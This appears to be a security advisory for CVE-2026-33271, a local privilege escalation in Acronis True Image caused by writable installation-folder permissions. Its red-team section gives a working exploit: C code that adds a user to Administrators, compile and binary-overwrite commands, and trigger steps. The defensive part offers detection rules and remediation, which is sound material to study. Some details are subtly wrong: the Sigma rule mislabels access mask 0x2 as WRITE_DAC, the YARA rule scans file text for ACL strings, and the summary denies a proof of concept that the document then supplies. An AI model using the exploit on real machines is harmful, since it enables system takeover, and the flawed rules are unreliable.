CVE-2026-33271
Executive Summary
CVE-2026-33271 is a local privilege escalation vulnerability in Acronis True Image for Windows, affecting builds prior to 42902. The flaw stems from insecure default folder permissions, allowing a low-privileged local attacker to overwrite critical application files or inject malicious code. Successful exploitation grants elevated privileges, potentially leading to full system compromise. A patch is available; no public proof-of-concept or exploit code has been observed.
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CVSS Breakdown & Threat Level
- CVSS Score: 6.7 (Medium)
- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Local (AV:L) – requires local access to the system.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: Low (PR:L) – attacker needs a standard user account.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – potential access to sensitive data.
- Integrity Impact: High (I:H) – ability to modify system files.
- Availability Impact: High (A:H) – could lead to denial of service.
Threat Level: Medium. While the CVSS score is moderate, the local nature and low privileges required make it a realistic post-exploitation vector for attackers who have already gained a foothold.
Deep Dive & Mechanics
The vulnerability resides in the installation directory of Acronis True Image (typically C:\Program Files\Acronis\TrueImage). The application creates folders and files with overly permissive Access Control Lists (ACLs), granting BUILTIN\Users or Everyone group write/modify permissions. This allows any local user to:
- Overwrite executable files – Replace legitimate binaries with malicious ones.
- Modify configuration files – Alter application behavior or load malicious DLLs.
- Create new files – Plant malicious scripts or executables that will be executed with elevated privileges when the application runs or a service starts.
Since Acronis True Image often runs with SYSTEM or high-integrity privileges (e.g., during backup/restore operations), any file planted by a low-privileged user can be executed in a high-privilege context, resulting in privilege escalation.
Vulnerable vs. Patched Code
Vulnerable (build < 42902):
- Installation folder permissions:
BUILTIN\Usershas(OI)(CI)(F)(Full Control) or(OI)(CI)(M)(Modify) permissions. - Example ACL entry:
Everyone:(OI)(CI)(F)
Patched (build >= 42902):
- Installation folder permissions:
BUILTIN\Usershas only(OI)(CI)(RX)(Read & Execute) permissions. - Example ACL entry:
Everyone:(OI)(CI)(RX)
The patch restricts write access to only privileged users (e.g., BUILTIN\Administrators, SYSTEM), preventing low-privileged users from modifying the application directory.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Local access to a Windows system with Acronis True Image (build < 42902) installed.
- A low-privileged user account (e.g.,
user).
Exploitation Steps:
Identify vulnerable directory:
icacls "C:\Program Files\Acronis\TrueImage"Look for
BUILTIN\Users:(OI)(CI)(F)orEveryone:(OI)(CI)(F).Create a malicious executable (e.g.,
evil.exe):// evil.c - spawns a SYSTEM shell #include <windows.h> int main() { system("cmd.exe /c net localgroup Administrators user /add"); return 0; }Compile:
x86_64-w64-mingw32-gcc -o evil.exe evil.cReplace a legitimate binary:
copy evil.exe "C:\Program Files\Acronis\TrueImage\AcronisTrueImage.exe" /YTrigger execution:
- Wait for a scheduled backup task.
- Or manually start the application via
Start Menu(if user has permission). - Or restart the Acronis service:
net start "Acronis True Image"
Result: The malicious binary runs with SYSTEM privileges, adding the user to the Administrators group.
Alternative – DLL Hijacking:
- Identify a missing DLL in the application directory.
- Place a malicious DLL with the same name.
- When the application loads, it executes the DLL with elevated privileges.
Blue Team
Detection Steps:
Audit folder permissions:
Get-ChildItem "C:\Program Files\Acronis\TrueImage" -Recurse | Get-Acl | Format-ListLook for non-admin write permissions.
Monitor file integrity:
- Use Sysmon Event ID 11 (FileCreate) and 2 (FileCreateStreamHash) to detect new/modified files in the Acronis directory.
- Enable Windows File Server Resource Manager (FSRM) file screening.
Check for suspicious processes:
- Monitor for
AcronisTrueImage.exeor related services spawningcmd.exe,powershell.exe, ornet.exe. - Use Sysmon Event ID 1 (ProcessCreate) with command-line logging.
- Monitor for
Review scheduled tasks:
Get-ScheduledTask | Where-Object {$_.TaskPath -like "*Acronis*"}Look for unexpected tasks.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | C:\Program Files\Acronis\TrueImage\*.exe (modified) |
Any executable in the Acronis directory with unexpected hash |
| File | C:\Program Files\Acronis\TrueImage\*.dll (new/modified) |
Suspicious DLL files |
| Registry | HKLM\SOFTWARE\Acronis\TrueImage (modified) |
Unauthorized registry changes |
| Process | AcronisTrueImage.exe spawning cmd.exe or powershell.exe |
Privilege escalation attempt |
| Network | Outbound connections from Acronis processes to unknown IPs | Potential C2 beaconing |
| User | New user added to Administrators group |
Post-exploitation activity |
Detection Engineering
YARA Rule
rule CVE_2026_33271_Acronis_Insecure_Permissions {
meta:
description = "Detects insecure folder permissions in Acronis True Image installation directory"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-33271"
severity = "medium"
strings:
$acl1 = "BUILTIN\\Users:(OI)(CI)(F)" nocase
$acl2 = "Everyone:(OI)(CI)(F)" nocase
$acl3 = "BUILTIN\\Users:(OI)(CI)(M)" nocase
$acl4 = "Everyone:(OI)(CI)(M)" nocase
$path = "C:\\Program Files\\Acronis\\TrueImage" nocase
condition:
$path and ($acl1 or $acl2 or $acl3 or $acl4)
}
Sigma Rule
title: Acronis True Image Insecure Folder Permissions
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects insecure ACLs on Acronis True Image installation directory
author: Valters IT
date: 2026/01/01
references:
- CVE-2026-33271
logsource:
product: windows
service: security
definition: 'Requires Advanced Audit Policy: Object Access > File System'
detection:
selection:
EventID: 4663
ObjectName|startswith: 'C:\Program Files\Acronis\TrueImage'
AccessMask: '0x2' # WRITE_DAC
condition: selection
falsepositives:
- Legitimate administrative changes
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2026-33271 Acronis True Image Potential C2"; flow:to_server,established; content:"Acronis"; http_user_agent; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Patch: Upgrade to Acronis True Image build 42902 or later.
- Manual fix: Restrict permissions on the installation folder:
icacls "C:\Program Files\Acronis\TrueImage" /inheritance:r /grant "SYSTEM:(OI)(CI)(F)" /grant "BUILTIN\Administrators:(OI)(CI)(F)" /grant "BUILTIN\Users:(OI)(CI)(RX)"
Long-term:
- Implement application whitelisting (e.g., AppLocker) to prevent unauthorized executables.
- Use Windows Defender Application Control (WDAC) to block unsigned binaries.
- Regularly audit folder permissions with tools like
icaclsorSet-Acl. - Enable Sysmon and collect Event ID 11 (FileCreate) for critical directories.
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